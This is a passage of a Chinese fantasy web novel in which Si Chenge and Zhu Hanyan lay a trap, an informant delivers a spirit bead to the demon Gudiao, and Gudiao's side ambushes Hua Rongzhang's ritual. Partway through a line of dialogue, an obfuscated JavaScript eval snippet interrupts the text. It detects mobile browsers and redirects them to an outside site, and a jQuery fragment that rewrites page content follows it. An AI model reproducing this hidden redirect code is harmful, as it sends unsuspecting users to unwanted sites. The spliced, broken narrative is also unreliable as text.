与此同时。
司忱戈与易白虹匆匆别后,火速赶去旭炎窟找祝寒烟。
他一出了阵门、踏上旭炎窟的地面,便马上传音联系上了一直因“受罚”而被禁止与外界联络的祝寒烟。
“寒烟,你在哪里?找你下棋。”
“石下阁。”
今夜月光皎洁,无云、有星。
石下阁前的院子里,有一个石头搭成的小亭,观景甚佳。
祝寒烟傍晚时分便坐在那里,桌子上摆着“落霞”和一本谱集,他正研究得入迷,不时拨弄出几个音节。
司忱戈来时见到的便是这个景象:
少年沉静专注、似与月色相融,琴音悠远、却似有千言万语。
祝寒烟听到脚步声,抬起头看见司忱戈正立在院门口看着自己。
他起身迎上,笑问:“你干什么一直看着我,怎么不直接进去坐?”
司忱戈回头看了看月亮,笑着逗他:
“月色醉人,但看书的话还是有些暗。我看你如此用功、月下读谱,不忍打断~”
果然,祝寒烟愣了一下,才反应过来自己在这里坐了太久、以至于忘记了时间,甚至没反应过来要点一盏灯。
司忱戈笑着溜达进亭子里,低头看了看律谱,奇怪道:“这是……长盈集?”
“果然没有忱戈兄不认识的东西。
长盈集的曲子多描写夏日盛景,我在想,若是以火系灵力注入曲中,在平时多加弹奏给她听,会不会有助于她的恢复?”
“这我还真没考虑过,不过听起来十分可行。好好琢磨琢磨!”
“好,我今日才有灵感,待想法成熟些,再请忱戈兄检验效果。”
祝寒烟说完,抱起琴、拿着谱,将司忱戈往屋子里面请。
一边走一边问:“棋盘,带来了?”
“嗯。”
二人走进屋,司忱戈先是去内室看了一眼花璨:
气息平稳、拟核稳定,身上的伤口虽然还未开始愈合、但也没有恶化,这对于她来说就是好事。
祝寒烟站在他身后,问:“忱戈兄,那边如何?”
“与猜测一致。
我在魏沫行鞋上施了个特殊的小法术,她若离我十五步之内我便会有感应。
这几天,除了我与学生上课的时候她没跟着,其余时候她要么跟着我、要么跟着白虹。
今日你到学堂后她一直在跟你。
所以我们放出的消息,此刻应该已经到了蛊雕耳朵里。
不出意外的话,后日巳时,咱们就能见到他了。”
落苏镇不同于白越镇,没那么多山,镇外是平坦的农田。
隆冬季节并无作物,整片大地都覆盖着一层雪。
一大早,蛊雕便出现在这里。
他为了不惹人注意,隐去了翅膀,穿着厚厚的冬衣,将自己打扮成斯文书生的样子。
后裘跟在他身后,依旧是那天的矮小模样,正左顾右盼的找着什么。
此时,雪地远处传来脚印声,蛊雕和后裘都停下了动作、看向声音的方向。
片刻,一个妇人出现在二人视线里。
后裘喊到:“魏姨!我们在这呢!”
说着,快步走上前去,对魏沫行朗声说:
“魏姨,可把你盼来了!
我家夫人就爱吃你做的酥锅,可你真的太忙了,好不容易请到你来做这一顿饭,快随我家老爷回去!”
魏沫行笑着答:“学堂事杂,我也是请了假才能过来,让你家夫人和老爷久等了,抱歉。”
“那快走吧,我家老爷在雪地里站着等你半天了,怪冷的。”
说罢,二人带着魏沫行走向旁边的一间宅子。
“这宅子真大,又新又气派!”
“那是,给我们家干活,少不了你的好处!”
进了门,后裘马上停下脚步,对魏沫行道:“还不快给蛊雕大王行礼!”
魏沫行忙跪在地上,头伏得很低,一边行礼一边说:“见过蛊雕大王,大王久等了,实在是怕来得太早会令人起疑,不得已而为之!”
蛊雕揣着双手、垂眸睨了她一眼,问:“东西带来了吗?”
魏沫行点头应“是”,从包袱里翻出一个布包,双手递给蛊雕。
蛊雕没接。
一旁的后裘伸手接过,数落着她:“你的东西怎能直接递给大王?!没规矩!”
魏沫行此时已经有些害怕,听了此言又告了一次罪,伏在地上不敢动。
后裘没再理会她,而是将包裹仔细拆开,露出里面放着的一枚透明珠子。
他将那珠子呈给蛊雕面前。
“大王,这就是聚灵珠。”
蛊雕伸出两根手指将面前的珠子夹起,仔细看了看,又放在鼻子前认真嗅了嗅,道:“确实有花璨的气息,不错。”
“大王,这是魏老妇听易白虹亲口说的,这颗珠子有协助凝神的效果。
花璨练功的时候总戴着!
这里面有她的气息,正是因为有她的小片灵核。”
蛊雕闻言皱眉问:“平日练功,为何要用到灵核碎片?你可是被骗了?”
魏沫行听到此话吓得抖若筛糠,忙为自己辩解:
“不会!大王,是易白虹亲口所言!
她与花熔璋传音时,我就在外面听得一清二楚!
前日她与司忱戈分别后,回到自己居所,与花熔璋传音问及今日之事。
花熔璋问她可有看到一颗‘聚灵珠’,说是花璨的宝贝。而且就是因为这个宝贝里有一片灵核,才导致花璨到现在都没能聚核成功!
易白虹也是那时才知道这个东西,她去花璨屋子里翻箱倒柜好不容易才找到的。”
她生怕蛊雕不信,一股脑地把话往外倒。
“小人亲眼见到她将此物收起、又与花熔璋约好今日送来,助花璨聚核。
那花熔璋是传影确认过的,就是此物,不会有假。
小人是万般笃定之后才敢和后裘大人汇报的!”
“既然如此,易白虹定然会将此物贴身佩戴,你如何取得?”
“小人曾因擅养渡鸦,于朱厌大人处得过赏赐——是一枚水晶珠……小人十分爱惜,一直珍藏着。
昨夜小人在易白虹饮水壶中下了后裘大人赐给的安眠露,趁她睡着,方将此珠换出。”
蛊雕听了这一席话,疑虑打消了些许,冷哼道:“你若敢玩什么花样,我定让你生不如死。”
魏沫行吓得连连磕头:“不敢不敢!小人只求家人平安!定不敢背叛大王!”
说了这会儿话,时间离巳时又近了一些。蛊雕收起珠子,在靠窗处坐下,透过窗缝观察着外面的动静。
很快,杂乱之声传来。
花熔璋带着荧炬、领了一队车马,出现在宽阔雪原上。
随着队伍越来越近,可以听到荧炬不停嘱咐着车夫:
“慢些、稳些,少主禁不住颠簸!
马上到了,减速减速。
慢点儿!”
好不容易到了目的地,队伍停下,花熔璋走到早就选定的空地中央,命人将仪式需要用到的东西拿出摆好。
祭坛摆放需要时间,在这期间他不时看着太阳,似乎在等什么人。
又过了一会儿,一个人影自空中落下,立于花熔璋面前。
祝寒烟到了。
祝寒烟对花熔璋道:“兄长,我可来迟了?”
“并未,寒烟,你来得刚好。你是怎么出来的?”
祝寒烟答:
“我说今日去学堂,路上甩开侍卫直接过来的。
我飞得快,他们追
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836059|175687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不上!”
“那你父亲那边怎么办?”
“管不了那么多了,先把眼下的事做好,回去的事、回去再说吧!”
花熔璋点了点头,也不多言,转身继续指挥着祭坛的摆放。
没过一会儿,一切准备就绪。
花熔璋盘腿坐在祭坛中央的蒲团上,闭上双目、拈诀起势。
祝寒烟在他对面,亦不再说话,凝神为他护法。
祭坛之上,空气中似乎凝聚成实质、开始缓缓流动起来,速度越来越快、颜色越来越亮。
开始有风围绕着这片平原缓缓吹动着。
树上的积雪被逐渐吹落,未来得及落尽的枯叶随风飞起,与空气中的那些亮点一起形成了一道快速舞动的彩环。
不远处的屋内,后裘专注地看着这一切,他问:“大王,这是开始了吗?”
蛊雕也紧盯着外面的每一个动作,他目不转睛地答:
“嗯,开始了,这是第一步。
先问、再借、然后安魂,最后注入花璨的体内。”
“那咱们何时动手?”
“等他最到达后一步之前。
这仪式每一步都极耗神力,他多做一步,我们就能省下一些力气。
那马车里就是花璨的身体,待到最后一步之前,会与花璨的身体建立连接。
等那时,你攻击马车,我拖住花熔璋和祝寒烟。”
“是,大王。
咱们的人就埋伏在周围,只等一声令下便可将机关驱动,他们必死无疑。”
屋里部署得很详细,屋外祭坛处,一切都如蛊雕说的那样发生着。
此刻,花熔璋已经完成了第一步“问”。
他正试图将周围的草木之灵借出:
雪原上的草木上方出现无数绿色光点,正缓缓向祝寒烟面前的一个葫芦处聚拢。
祝寒烟灵力流转,双指并出向葫芦处一点,绿光纷纷落入葫芦嘴,顷刻间被吸了个干净。
花熔璋又以同样的方法“借”了水、风、土之灵,都被收进了葫芦里。
这一步做完,就到了“安魂”。
花熔璋走向马车,站在车侧面,此时车夫已经将拉车的马匹卸下,只留车厢。
他再次闭目、口中默念口诀,同时双手结印,一个结界笼罩在车厢上方。
花熔璋气息外放,银白色的发丝无风自动,背后隐隐出现一对翅膀的轮廓。
那对翅膀颜色逐渐加深,开始有金色的光芒沿着轮廓闪动。
随着翅膀缓缓展开,车内也有了微弱的感应:
那车厢逐渐亮起淡淡的光,在金色光芒下显得不那么明显,但也在逐渐越来越亮。
屋内的蛊雕现下十分紧张,他们眼看着花璨与花熔璋终于建立了连接,此刻正是十分紧要的关头。
蛊雕当机立断,道:“上!”
后裘应声而起,两人冲破木窗向车边攻去。
花熔璋正在紧要关头,听到身后有很大的响动,猛然回头、手上动作却未停。
他看见蛊雕和后裘向自己的方向飞扑过来,一直在旁边护法的祝寒烟此时已经迎上前去与二人缠斗起来。
花熔璋此刻已是怒极,他动作不能停,嘴却可以说话。
“卑鄙之徒!以为趁人之危就能得逞?没那么容易!”
蛊雕并未作答,他张开双翼悬于半空中,近身缠上祝寒烟。
空中的蛊雕无比灵活、翅膀展开又极挡对方视野。
他的翅膀死死卡着祝寒烟的动作,让他只能对付自己、无暇顾及后裘。
后裘亦是十分机敏,他看准了机会,抽身而出,直奔车厢而去。
但还未等他到车厢边缘,车厢内光芒又盛一些。
他见此忙隔空打出一掌,待掌风触及车厢处,他人也来到了近前。